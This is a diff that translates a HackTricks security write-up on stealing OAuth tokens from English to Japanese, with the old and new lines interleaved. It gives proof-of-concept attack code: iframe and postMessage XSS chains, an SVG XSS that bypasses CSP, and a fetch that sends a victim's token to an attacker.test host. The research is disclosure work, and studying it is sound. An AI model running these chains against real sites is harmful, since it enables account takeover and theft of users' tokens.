攻撃者が送信した**元のタブ**は、新しいタブに対して**複数のpostMessage**を送信し、postMessageリスナーが現在のURLを漏洩させるようにします。 +5. 攻撃者が送信した元のタブは、それに送信されたメッセージを**受信**します。URLがメッセージで返ってきたとき、**コードとトークンが抽出**され、攻撃者に送信されます。 +6. 攻撃者は、非ハッピーパスに到達したコードまたはトークンを使用して、被害者としてサインインします。 -## Gadget 2: XSS on sandbox/third-party domain that gets the URL +## ガジェット2:URLを取得するsandbox/third-partyドメイン上のXSS ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png) -## **Gadget 2: example 1, stealing window.name from a sandbox iframe** - -This one had an **iframe** loaded on the **page where the OAuth-dance ended**. The **name** of the **iframe** was a **JSON-stringified version of the `window.location` object**. This is an old way of transferring data cross-domain, since the page in the iframe can get its own `window.name` set by the parent: +## **ガジェット2:例1、sandbox iframeからwindow.nameを盗む** +これは、OAuthダンスが終了した**ページにiframeが読み込まれている**ものです。**iframe**の**名前**は、**`window.location`オブジェクトのJSON文字列化バージョン**でした。これは、iframe内のページが親によって`window.name`を設定できる古い方法です。 ```javascript i = document.createElement('iframe'); i.name = JSON.stringify(window.location) i.srcdoc = ''; document.body.appendChild(i) ``` - ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget2-example2.png) -The domain loaded in the **iframe also had a simple XSS**: - +**iframeに読み込まれたドメインには、単純なXSSもありました**: ``` https://examplesandbox.com/embed_iframe?src=javascript:alert(1) ``` +### 攻撃 -### Attack +もし、あるドメインのウィンドウに **XSS** がある場合、そのウィンドウは同じオリジンの他のウィンドウにアクセスすることができます。これは、ウィンドウ間に親子/オープナーの関係がある場合に起こります。 -If you have an **XSS** on a **domain** in one window, this window can then **reach other windows of the same origin** if there’s a parent/child/opener-**relationship between the windows**. +これは、攻撃者がXSSを悪用して、クラフトされた **OAuthリンクを読み込む新しいタブ** を作成することができることを意味します。このリンクは、**トークンを名前に持つiframeを読み込むパスで終わる** ものです。その後、XSSが悪用されたページから、iframeの名前を読み取ることが可能になります。これは、iframeの親ページにオープナーがあるためです。そして、それを外部に漏洩させることができます。 -This means that an attacker could **exploit the XSS to load a new tab** with the crafted **OAuth link** that will **end** in the **path** that **loads** the **iframe with the token in the name**. Then, from the **XSS** exploited page it will be possible to **read the name of the iframe** because it has an **opener over the iframes parent page** and exfiltrate it. +具体的には以下の手順です: -More specificly: - -1. Created a malicious page that’s embedding an iframe of the sandbox with the XSS loading my own script: - - ```html -
- ``` -2. In my script being loaded in the sandbox, I replaced the content with the link to use for the victim: - - ```javascript - document.body.innerHTML = - ' - Click here to hijack token'; - ``` - - I also started a script in an interval to check if the link was opened and the iframe I wanted to reach is there to get the `window.name` set on the iframe with the same origin as the iframe on the attacker’s page: - - ```javascript - x = setInterval(function() { - if(parent.window.b && - parent.window.b.frames[0] && - parent.window.b.frames[0].window && - parent.window.b.frames[0].window.name) { - top.postMessage(parent.window.b.frames[0].window.name, '*'); - parent.window.b.close(); - clearInterval(x); - } - }, 500); - ``` -3. The attacker page can then just listen to the message we just sent with the `window.name`: - - ```html - - ``` - -## **Gadget 2: example 2, iframe with XSS + parent origin check** - -The second example was an **iframe** loaded on the **non-happy path** with an XSS **using postMessage**, but **messages were only allowed from the `parent`** window that loaded it. The **`location.href` was sent down to the iframe when it asked for `initConfig`** in a message to the `parent` window. - -The main window loaded the iframe like this: +1. 悪意のあるページを作成し、XSSを含むsandboxのiframeを埋め込みます: ```html - +
``` -And the content looked like this (a lot more simplified than how it actually was, but to explain the attack better): +2. sandboxで読み込まれる私のスクリプトで、被害者に使用するリンクを置き換えます: + +```javascript +document.body.innerHTML = +' +Click here to hijack token'; +``` + +また、リンクが開かれ、アタッカーのページ上のiframeにアクセスできるようになったかどうかを確認するためのスクリプトも開始しました。これは、アタッカーのページと同じオリジンを持つiframeの `window.name` を取得するためです。 + +```javascript +x = setInterval(function() { +if(parent.window.b && +parent.window.b.frames[0] && +parent.window.b.frames[0].window && +parent.window.b.frames[0].window.name) { +top.postMessage(parent.window.b.frames[0].window.name, '*'); +parent.window.b.close(); +clearInterval(x); +} +}, 500); +``` + +3. 攻撃者のページは、`window.name` として送信したメッセージを受信するだけです: ```html ``` -### Attack +## **ガジェット2: 例2、XSS + 親オリジンチェックを使用したiframe** -In this case the **attacker loads an iframe with the Post-message XSS vuln page**, and **exploits** the **XSS** to load **arbitrary JS.**\ -This **JS** will **open** a **tab** with the **OAuth link**. After logging in, the final page contains the toke in the URL and has loaded an iframe (the XSS post-message vuln iframe). +2番目の例では、XSSを使用したiframeが **ハッピーパスではないパス** で読み込まれ、**postMessageを使用してメッセージが許可されたのは`parent`ウィンドウだけ**でした。`initConfig` を要求する際に、`location.href` がメッセージとしてiframeに送信されました。 -Then, the **arbitrary JS** (from the exploited XSS) has an **opener to that tab**, so it **access the iframe** and makes it **ask the parent for the `initConfig`** (which contains the **URL with the token**). The parent page **gives it to the iframe**, which is **also commanded to leak it**.\ +メインウィンドウは、以下のようにiframeを読み込みました: +```html + +``` +そして、コンテンツは次のようになりました(実際のものよりもはるかに簡略化されていますが、攻撃をより良く説明するためです): +```html + +``` +### 攻撃 +この場合、**攻撃者はPost-message XSS脆弱性ページを含むiframeを読み込み**、**XSS**を悪用して**任意のJSを読み込みます**。\ +この**JS**は**OAuthリンク**を**開きます**。ログイン後、最終ページにはURLにトークンが含まれ、iframe(XSS post-message脆弱性iframe)が読み込まれています。 -In this case, I could do a similar method like the previos example: +その後、悪用されたXSSからの**任意のJS**には、**そのタブへのオープナー**があり、それによって**iframeにアクセス**し、親に`initConfig`(トークンを含むURL)を要求します。親ページはそれをiframeに渡し、それを**リークするように指示**します。 -1. Create a **malicious** **page** that’s embedding an **iframe** of the sandbox, attach an **onload** to **trigger a script when the iframe is loaded**. +この場合、前の例と同様の方法を取ることができます: - ```html -
- ``` -2. Since the **malicious page is then the parent** of the iframe, it could **send a message to the iframe to load our script** in the origin of the sandbox using **postMessage (XSS)**: +1. **iframeが読み込まれたときにスクリプトをトリガーする**ために、**マルウェアページ**に**sandboxのiframeを埋め込む**。 - ```html - - ``` -3. In my script being loaded in the sandbox, I replaced the content with the **link for the victim**: +```html +
+``` +2. **マルウェアページがiframeの親**であるため、**postMessage(XSS)を使用してiframeにメッセージを送信**し、sandboxのオリジンでスクリプトを読み込むようにします。 - ```javascript - document.body.innerHTML = ' - Click here to hijack token'; - ``` +```html + +``` +3. sandboxで読み込まれるスクリプトでは、コンテンツを**被害者のリンクに置き換えます**。 - I also started a script in an interval to **check if the link was opened and the iframe I wanted to reach was there**, to run javascript inside it from my iframe to the main window. I then attached a postMessage-listener that passed over the message back to my iframe in the malicious window: +```javascript +document.body.innerHTML = ' +Click here to hijack token'; +``` - ```javascript - x = setInterval(function() { - if(b && b.frames[1]) { - b.frames[1].eval( - 'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + - 'top.postMessage({type:'initConfig'},"*")' - ) - clearInterval(x) - } - }, 500); - ``` -4. The attacker page that had the iframe loaded can then listen to the message I sent from the injected postMessage listener proxy in the main window’s iframe: +また、リンクが開かれ、アクセスしたいiframeが存在するかどうかを定期的にチェックするスクリプトを開始し、iframeからメインウィンドウに対してJavaScriptを実行するためのpostMessageリスナーをアタッチしました。 - ```html - - ``` +```javascript +x = setInterval(function() { +if(b && b.frames[1]) { +b.frames[1].eval( +'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + +'top.postMessage({type:'initConfig'},"*")' +) +clearInterval(x) +} +}, 500); +``` +4. iframeを読み込んだ攻撃者ページは、メインウィンドウのiframe内の注入されたpostMessageリスナープロキシから送信されたメッセージを受信できます。 -## Gadget 3: Using APIs to fetch URL out-of-bounds +```html + +``` + +## ガジェット3:APIを使用して範囲外のURLを取得する ![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png) -This gadget turned out to be the most fun. There’s something satisfying about sending the victim somewhere and then picking up sensitive data from a different location. +このガジェットは最も楽しいものでした。被害者をどこかに送り、異なる場所から機密データを取得することは何か満足感があります。 -## **Gadget 3: example 1, storage-iframe with no origin check** - -The first example used an external service for tracking-data. This service added a “storage iframe”: +## **ガジェット3:例1、オリジンチェックのないストレージiframe** +最初の例では、トラッキングデータのために外部サービスを使用しました。このサービスは「ストレージiframe」を追加しました: ```html ``` - -The main window would talk with this iframe using postMessage to send tracking-data that would be saved in the localStorage of the origin the `storage.html` was located in: - +メインウィンドウは、postMessageを使用してこのiframeと通信し、追跡データを送信します。このデータは、`storage.html`が配置されているオリジンのlocalStorageに保存されます。 ```javascript tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*'); ``` - -The main window could also fetch this content: - +メインウィンドウもこのコンテンツを取得できます: ```javascript tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*'); ``` - ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example1.png) -When the iframe was loaded on initialization, a key was saved for the last location of the user using `location.href`: - +初期化時にiframeがロードされると、`location.href`を使用してユーザーの最後の位置のためのキーが保存されました。 ```javascript tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*'); ``` - -If you could talk with this origin somehow and get it to send you the content, the `location.href` could be fetched from this storage. The postMessage-listener for the service had a block-list and an allow-list of origins. It seems like the analytics-service allowed the website to define what origins to allow or deny: - +もしもこの元の場所と何らかの方法で通信でき、コンテンツを送信させることができれば、このストレージから`location.href`を取得することができます。サービスのpostMessageリスナーには、オリジンのブロックリストと許可リストがありました。アナリティクスサービスは、ウェブサイトがどのオリジンを許可または拒否するかを定義することができるようです。 ```javascript var blockList = []; var allowList = []; var syncListeners = []; window.addEventListener('message', function(e) { - // If there's a blockList, check if origin is there and if so, deny - if (blockList && blockList.indexOf(e.origin) !== -1) { - return; - } - // If there's an allowList, check if origin is there, else deny - if (allowList && allowList.indexOf(e.origin) == -1) { - return; - } - // Only parent can talk to it - if (e.source !== window.parent) { - return; - } - handleMessage(e); +// If there's a blockList, check if origin is there and if so, deny +if (blockList && blockList.indexOf(e.origin) !== -1) { +return; +} +// If there's an allowList, check if origin is there, else deny +if (allowList && allowList.indexOf(e.origin) == -1) { +return; +} +// Only parent can talk to it +if (e.source !== window.parent) { +return; +} +handleMessage(e); }); function handleMessage(e) { - if (data.type === 'sync') { - syncListeners.push({source: e.source, origin: e.origin}) - } else { - ... +if (data.type === 'sync') { +syncListeners.push({source: e.source, origin: e.origin}) +} else { +... } window.addEventListener('storage', function(e) { - for(var i = 0; i < syncListeners.length; i++) { - syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin); - } +for(var i = 0; i < syncListeners.length; i++) { +syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin); +} } ``` +また、`allowList`に基づいた有効なオリジンがある場合、同期を要求することもできます。これにより、このウィンドウで行われたlocalStorageの変更が行われたときに、それらが送信されます。 -Also, if you had a valid origin based on the `allowList`, you would also be able to ask for a sync, which would give you any of the changes made to the localStorage in this window sent to you when they were made. +### 攻撃 -### Attack +OAuthダンスの非ハッピーパスでこのストレージがロードされたウェブサイトでは、`allowList`オリジンが定義されていませんでした。**したがって、オリジンがウィンドウの`parent`である場合、任意のオリジンがpostMessageリスナーと通信できるようになりました**。 -On the website that had this storage loaded on the non-happy path of the OAuth-dance, no allowList-origins were defined; **this allowed any origin to talk with the postMessage** listener if the origin was the `parent` of the window: +1. 悪意のあるページを作成し、ストレージコンテナのiframeを埋め込み、iframeの読み込み時にスクリプトをトリガーするonloadをアタッチしました。 -1. I created a malicious page that embedded an iframe of the storage container and attached an onload to trigger a script when the iframe is loaded. +```html +
+``` - ```html -
- ``` -2. Since the malicious page was now the parent of the iframe, and no origins were defined in the `allowList`, the malicious page could send messages to the iframe to tell the storage to send messages for any updates to the storage. I could also add a listener to the malicious page to listen for any sync-updates from the storage: +2. 悪意のあるページがiframeの親になったため、`allowList`にオリジンが定義されていないため、悪意のあるページはiframeにメッセージを送信してストレージにストレージの更新に関するメッセージを送信することができました。また、悪意のあるページにリスナーを追加して、ストレージからの同期更新を受け取ることもできました。 - ```html - - ``` -3. The malicious page would also contain a regular link for the victim to click: +```html + +``` - ```html - Click here to hijack token'; - ``` -4. The victim would click the link, go through the OAuth-dance, and end up on the non-happy path loading the tracking-script and the storage-iframe. The storage iframe gets an update of `last-url`. The `window.storage`-event would trigger in the iframe of the malicious page since the localStorage was updated, and the malicious page that was now getting updates whenever the storage changed would get a postMessage with the current URL of the victim: +3. 悪意のあるページには、被害者がクリックするための通常のリンクも含まれていました。 -
+```html +ここをクリックしてトークンを乗っ取る'; +``` -## **Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check** +4. 被害者はリンクをクリックし、OAuthダンスを経て、トラッキングスクリプトとストレージのiframeがロードされた非ハッピーパスに到達します。ストレージのiframeは`last-url`の更新を受け取ります。localStorageが更新されたため、悪意のあるページのiframe内で`window.storage`イベントがトリガーされ、ストレージが変更されるたびに更新を受け取るようになった悪意のあるページは、被害者の現在のURLを含むpostMessageを受け取ります。 -Since the analytics-service itself had a bug bounty, I was also interested to see if I could find a way to leak URLs also for the websites that had configured proper origins for the storage-iframe. +
-When I started searching for the `cdn.analytics.example.com` domain online without the customer-part of it, I noticed that this CDN also contained images uploaded by customers of the service: +## **ガジェット3:例2、CDNでの顧客の混乱 - オリジンチェックのないDIYストレージSVG** +解析サービス自体にバグバウンティがあったため、ストレージのiframeに適切なオリジンが設定されているウェブサイトでもURLを漏洩させる方法を見つけることに興味がありました。 + +顧客の部分を除いた`cdn.analytics.example.com`ドメインをオンラインで検索し始めたところ、このCDNにはサービスの顧客がアップロードした画像も含まれていることに気付きました。 ``` https://cdn.analytics.example.com/img/customer42326/event-image.png https://cdn.analytics.example.com/img/customer21131/test.png ``` - -I also noticed that there were SVG-files served inline as `Content-type: image/svg+xml` on this CDN: - +私もこのCDNで`Content-type: image/svg+xml`としてインラインで提供されているSVGファイルを見つけました。 ``` https://cdn.analytics.example.com/img/customer54353/icon-register.svg ``` - -I registered as a trial user on the service, and uploaded my own asset, which also showed up on the CDN: - +私はサービスのトライアルユーザーとして登録し、自分のアセットをアップロードしました。それはCDNにも表示されました。 ``` https://cdn.analytics.example.com/img/customer94342/tiger.svg ``` - -The interesting part was that, if you then used the customer-specific subdomain for the CDN, the image was still served. This URL worked: - +興味深いのは、CDNのために顧客固有のサブドメインを使用した場合でも、画像が提供されることです。このURLは機能しました: ``` https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg ``` - ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example4.png) -This meant that the customer with ID #94342 could render SVG-files in customer #12345’s storage. +これは、ID #94342の顧客が顧客 #12345 のストレージ内のSVGファイルをレンダリングできることを意味します。 -I uploaded a SVG-file with a simple XSS-payload: +私は、単純なXSSペイロードを持つSVGファイルをアップロードしました: `https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg` - ```html ``` - ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example3.png) -Not great. The CDN added a `Content-Security-Policy: default-src 'self'` header to everything under `img/`. You could also see the server header mentioned S3 – disclosing that the content was uploaded to an S3-bucket: +素晴らしくありません。CDNは`img/`以下のすべてに`Content-Security-Policy: default-src 'self'`ヘッダーを追加しました。また、サーバーヘッダーにはS3が言及されており、コンテンツがS3バケットにアップロードされたことが明らかになりました。 ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png) -One interesting quirk with S3 is that directories are not really directories in S3; the path before the key is called a “prefix”. This means that S3 doesn’t care if `/` are url-encoded or not, it will still serve the content if you url-encode every slash in the URL. If I changed `img/` to `img%2f` in the URL would still resolve the image. However, in that case the CSP-header was removed and the XSS triggered: +S3の興味深い特徴の1つは、ディレクトリが実際にはS3ではないということです。キーの前のパスは「プレフィックス」と呼ばれます。つまり、S3はURLエンコードされているかどうかに関係なく、URL内のすべてのスラッシュをURLエンコードすればコンテンツを提供します。URL内の`img/`を`img%2f`に変更すると、画像は引き続き解決されます。ただし、その場合、CSPヘッダーが削除され、XSSがトリガーされます。 ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png) -I could then upload an SVG that would create the same form of storage-handler and postMessage-listener like the regular `storage.html`, but an empty `allowList`. That allowed me to do the same kind of attack even on websites that had properly defined the allowed origins that could talk to the storage. - -I uploaded a SVG that looked like this: +その後、通常の`storage.html`と同じ形式のストレージハンドラーとpostMessageリスナーを作成するSVGをアップロードしましたが、`allowList`は空です。これにより、ストレージと通信できる許可されたオリジンを適切に定義しているウェブサイトでも同じ種類の攻撃が可能になりました。 +次のようなSVGをアップロードしました: ```html ``` - -I could then utilize the same methodology like in example #1, but instead of iframing the `storage.html` I could just iframe the SVG with the url-encoded slash: - +次に、例1と同じ手法を使用できますが、`storage.html`をiframe化する代わりに、URLエンコードされたスラッシュを含むSVGをiframe化することができます。 ```html
``` - -Since no website would be able to patch this themselves, I sent a report to the analytics provider in charge of the CDN instead: +サイト自体はこれを修正することはできないため、代わりにCDNを担当するアナリティクスプロバイダーに報告しました: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png) -The whole idea about looking at misconfiguration bugs on the third-party was mainly to confirm that there are multiple ways to achieve the leaking of the tokens and since the third-party had a bug bounty, this was just a different receiver for the same kind of bug, the difference being that the impact was for all of the customers of the analytics service instead. In this case, the customer of the third-party actually had the ability to properly configure the tool to not make it leak data to the attacker. However, since the sensitive data was still sent to the third-party it was interesting to see if there was somehow a way to completely bypass the customer’s proper configuration of the tool. +サードパーティの設定ミスバグを調査するアイデアは、トークンの漏洩を達成するための複数の方法があることを確認するためでした。サードパーティにはバグバウンティがあったため、これは同じ種類のバグの別の受信者にすぎませんでした。違いは、影響がアナリティクスサービスのすべての顧客に及ぶことです。この場合、サードパーティの顧客はツールを適切に設定してデータを漏洩させないようにする能力を実際に持っていました。ただし、機密データはサードパーティに送信されたため、顧客の適切なツールの設定を完全にバイパスする方法があるかどうかを確認することは興味深いものでした。 -## **Gadget 3: example 3, chat-widget API** - -The last example was based on a chat-widget that was present on all pages of a website, even the error pages. There were multiple postMessage-listeners, one of them without a proper origin check that only allowed you to start the chat-popup. Another listener had a strict origin check for the chat-widget to receive an initialization-call and the current chat-api-token that was used for the current user. +## **ガジェット3:例3、チャットウィジェットAPI** +最後の例は、ウェブサイトのすべてのページ、エラーページを含むチャットウィジェットに基づいています。複数のpostMessageリスナーがあり、そのうちの1つは適切なオリジンチェックなしでチャットポップアップを開始することができます。別のリスナーは、チャットウィジェットが初期化呼び出しと現在のユーザーに使用されるチャットAPIトークンを受け取るための厳格なオリジンチェックを持っていました。 ```html ``` +チャットのiframeが読み込まれた場合: -When the chat-iframe loaded: +1. チャットウィジェットのlocalStorageにchat-api-tokenが存在する場合、それをapi-tokenとして親ウィンドウにpostMessageで送信します。chat-api-tokenが存在しない場合は何も送信しません。 +2. iframeが読み込まれたら、`{"type": "chat-widget", "key": "init"}`というpostMessageを親ウィンドウに送信します。 -1. If a chat-api-token existed in the chat-widget’s localStorage it would send the api-token to its parent using postMessage. If no chat-api-token existed it would not send anything. -2. When iframe has loaded it will send a postMessage with a `{"type": "chat-widget", "key": "init"}` to its parent. +メインウィンドウでチャットアイコンをクリックした場合: -If you clicked on the chat-icon in the main window: +1. すでにchat-api-tokenが送信されていない場合、チャットウィジェットは新しいトークンを作成し、自身のオリジンのlocalStorageに保存し、親ウィンドウにpostMessageで送信します。 +2. 親ウィンドウはチャットサービスにAPIコールを行います。APIエンドポイントは、サービスに設定された特定のウェブサイトに対してCORS制限があります。リクエストを送信するためには、有効な`Origin`ヘッダをAPIコールに提供する必要があります。このヘッダには、chat-api-tokenも含まれます。 +3. メインウィンドウからのAPIコールには、`location.href`が含まれ、それが訪問者の「現在のページ」としてchat-api-tokenとともに登録されます。レスポンスには、チャットセッションを開始するためのウェブソケットに接続するためのトークンが含まれます。 -1. If no chat-api-token had been sent already, the chat-widget would create one and put it in its own origin’s localStorage and postMessage it to the parent window. -2. The parent window would then make an API-call to the chat-service. The API-endpoint was CORS-restricted to the specific website configured for the service. You had to provide a valid `Origin`-header for the API-call with the chat-api-token to allow the request to be sent. -3. The API-call from the main window would contain `location.href` and register it as the “current page” of the visitor with the chat-api-token. The response would then contain tokens to connect to a websocket to initiate the chat-session: +```json +{ +"api_data": { +"current_page": "https://example.com/#access_token=test", +"socket_key": "xxxyyyzzz", +... +} +} +``` - ```json - { - "api_data": { - "current_page": "https://example.com/#access_token=test", - "socket_key": "xxxyyyzzz", - ... - } - } - ``` +この例では、chat-api-tokenの公開は常にチャットウィジェットiframeの親に公開されることに気付きました。chat-api-tokenを取得した場合、ブラウザに対してのみCORSヘッダが重要であるため、サーバーサイドのリクエストでトークンを使用してサーバーサイドのリクエストを行い、自分自身の人工的な`Origin`ヘッダをAPIコールに追加することができました。これにより、次のチェーンが生成されました: -In this example, I realized the announcement of the chat-api-token would always be announced to the parent of the chat-widget iframe, and if I got the chat-api-token I could just make a server-side request using the token and then add my own artificial `Origin`-header to the API-call since a CORS-header only matters for a browser. This resulted in the following chain: +1. チャットウィジェットのiframeを埋め込んだ悪意のあるページを作成し、chat-api-tokenを受け取るためのpostMessageリスナーを追加しました。また、2秒間にapi-tokenを受け取っていない場合にiframeをリロードするイベントをトリガーしました。これは、チャットを開始していない被害者もサポートするためであり、リモートでチャットを開始することができるため、まずはチャットapi-tokenが必要でした。 -1. Created a malicious page that’s embedding an iframe of the chat-widget, added a postMessage-listener to listen for the chat-api-token. Also, triggered an event to reload the iframe if I haven’t gotten the api-token in 2 seconds. This was to make sure that I also supported the victims that had never initiated the chat, and since I could trigger to open the chat remotely, I first needed the chat-api-token to start polling for the data in the chat-API from server-side. +```html +
+ +``` +2. 悪意のあるページにリンクを追加し、URLにトークンが含まれるチャットウィジェットのページを開くためのサインインフローを開きます: - ```html -
- - ``` -2. Added a link to the malicious page to open up the sign-in-flow that would end up on the page with the chat-widget with the token in the URL: +``` +Click here to hijack token +``` +3. `launchChatWindowByPostMessage()`関数は、メインウィンドウに対して継続的にpostMessageを送信し、チャットウィジェットを起動します: - ``` - Click here to hijack token - ``` -3. The `launchChatWindowByPostMessage()`-function will continuously send a postMessage to the main window, if opened, to launch the chat-widget: +```javascript +function launchChatWindowByPostMessage() { +var launch = setInterval(function() { +if(b) { b.postMessage({type: 'launch-chat'}, '*'); } +}, 500); +} +``` +4. 被害者がリンクをクリックしてエラーページに移動し、チャットが起動し、チャットapi-tokenが作成されます。悪意のあるページ上のチャットウィジェットのiframeのリロードにより、postMessageを介して`api-token`を取得し、その後、被害者の現在のURLをAPIで確認できます: - ```javascript - function launchChatWindowByPostMessage() { - var launch = setInterval(function() { - if(b) { b.postMessage({type: 'launch-chat'}, '*'); } - }, 500); - } - ``` -4. When the victim clicked the link and ended up on the error page, the chat would launch and a chat-api-token would be created. My reload of the chat-widget iframe on the malicious page would get the `api-token` through postMessage and I could then start to look in the API for the current url of the victim: +```javascript +function lookInApi(token) { +var look = setInterval(function() { +fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => { +if (e && +e.api_data && +e.api_data.current_url && +e.api_data.current_url.indexOf('access_token') !== -1) { +var payload = e.api_data.current_url +document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload; +clearInterval(look); +} +}); +}, 2000); +} +``` +5. `https://fetch-server-side.attacker.test/?token=xxx`のサーバーサイドページは、追加されたOriginヘッダを使用してAPIコールを行い、Chat-APIが正当なオリジンとして使用していると思わせます: - ```javascript - function lookInApi(token) { - var look = setInterval(function() { - fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => { - if (e && - e.api_data && - e.api_data.current_url && - e.api_data.current_url.indexOf('access_token') !== -1) { - var payload = e.api_data.current_url - document.getElementById('leak').innerHTML = 'Attacker now has the token: ' + payload; - clearInterval(look); - } - }); - }, 2000); - } - ``` -5. The server-side page at `https://fetch-server-side.attacker.test/?token=xxx` would make the API-call with the added Origin-header to make the Chat-API think I was using it as a legit origin: +```javascript +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) +async function getDataFromChatApi(token) { +return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}}); +} +function handleRequest(request) { +const token = request.url.match('token=([^&#]+)')[1] || null; +return token ? getDataFromChatApi(token) : null; +} +``` +6. 被害者がリンクをクリックしてOAuthダンスを経てトークンが追加されたエラーページに移動すると、チャットウィジェットが突然表示され、現在のURLが登録され、攻撃者は被害者のアクセストークンを取得します。 - ```javascript - addEventListener('fetch', event => { - event.respondWith(handleRequest(event.request)) - }) - async function getDataFromChatApi(token) { - return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}}); - } - function handleRequest(request) { - const token = request.url.match('token=([^&#]+)')[1] || null; - return token ? getDataFromChatApi(token) : null; - } - ``` -6. When the victim clicked the link and went through the OAuth-dance and landed on the error page with the token added, the chat-widget would suddenly popup, register the current URL and the attacker would have the access token from the victim. +## URLを漏洩させるための他のアイデア -## Other ideas for leaking URLs +まだ見つかっていないさまざまなタイプのガジェットが存在します。以下は、利用可能なレスポンスモードを使用してURLを漏洩させる可能性のあるケースの一つです。 -There are still other different types of gadgets waiting to be found. Here’s one of those cases I wasn’t able to find in the wild but could be a potential way to get the URL to leak using any of the response modes available. +### 任意のpostMessageをオープナーにルーティングするドメイン上のページ -### A page on a domain that routes any postMessage to its opener - -Since all `web_message` response types cannot validate any path of the origin, any URL on a valid domain can receive the postMessage with the token. If there’s some form of postMessage-listener proxy on any of the pages on the domain, that takes any message sent to it and sends everything to its `opener`, I can make a double-window.open chain: - -Attacker page 1: +すべての`web_message`レスポンスタイプは、オリジンのパスを検証できないため、有効なドメイン上の任意のURLはトークンを含むpostMessageを受け取ることができます。ドメイン上のいずれかのページにpostMessageリスナープロキシが存在し、それが送信されたメッセージを受け取り、すべてを`opener`に送信する場合、ダブルウィンドウ.openチェーンを作成できます: +攻撃者のページ1: ```html Accept cookies ``` - -Attacker page 2: - +攻撃者のページ2: ```html Login to google ``` - -And the `https://example.com/postmessage-proxy` would have something along the lines of: - +そして、`https://example.com/postmessage-proxy` には次のようなものがあるでしょう: ```javascript // Proxy all my messages to my opener: window.onmessage=function(e) { opener.postMessage(e.data, '*'); } ``` +OAuthプロバイダからトークンを`https://example.com`の正当なオリジンに送信するために、`web_message`-responseモードのいずれかを使用することができますが、エンドポイントはトークンをさらに`opener`に送信します。これは攻撃者のページです。 -I could use any of the `web_message`-response modes to submit the token from the OAuth-provider down to the valid origin of `https://example.com`, but the endpoint would send the token further to `opener` which is the attacker’s page. +このフローは不可能に思えるかもしれませんし、2回のクリックが必要です。1回目は攻撃者とウェブサイトの間にopener関係を作成し、2回目はOAuthフローを起動し、正当なウェブサイトをOAuthポップアップのopenerとして持つことです。 -This flow might seem unlikely and it needs two clicks: one to create one opener-relationship between the attacker and the website, and the second to launch the OAuth-flow having the legit website as the opener of the OAuth-popup. - -The OAuth-provider sends the token down to the legit origin: +OAuthプロバイダはトークンを正当なオリジンに送信します: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png) -And the legit origin has the postMessage-proxy to its opener: +そして、正当なオリジンにはopenerへのpostMessageプロキシがあります: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png) -Which causes the attacker to get the token: +これにより、攻撃者がトークンを取得します: ![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png) @@ -753,10 +698,10 @@ Which causes the attacker to get the token: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* 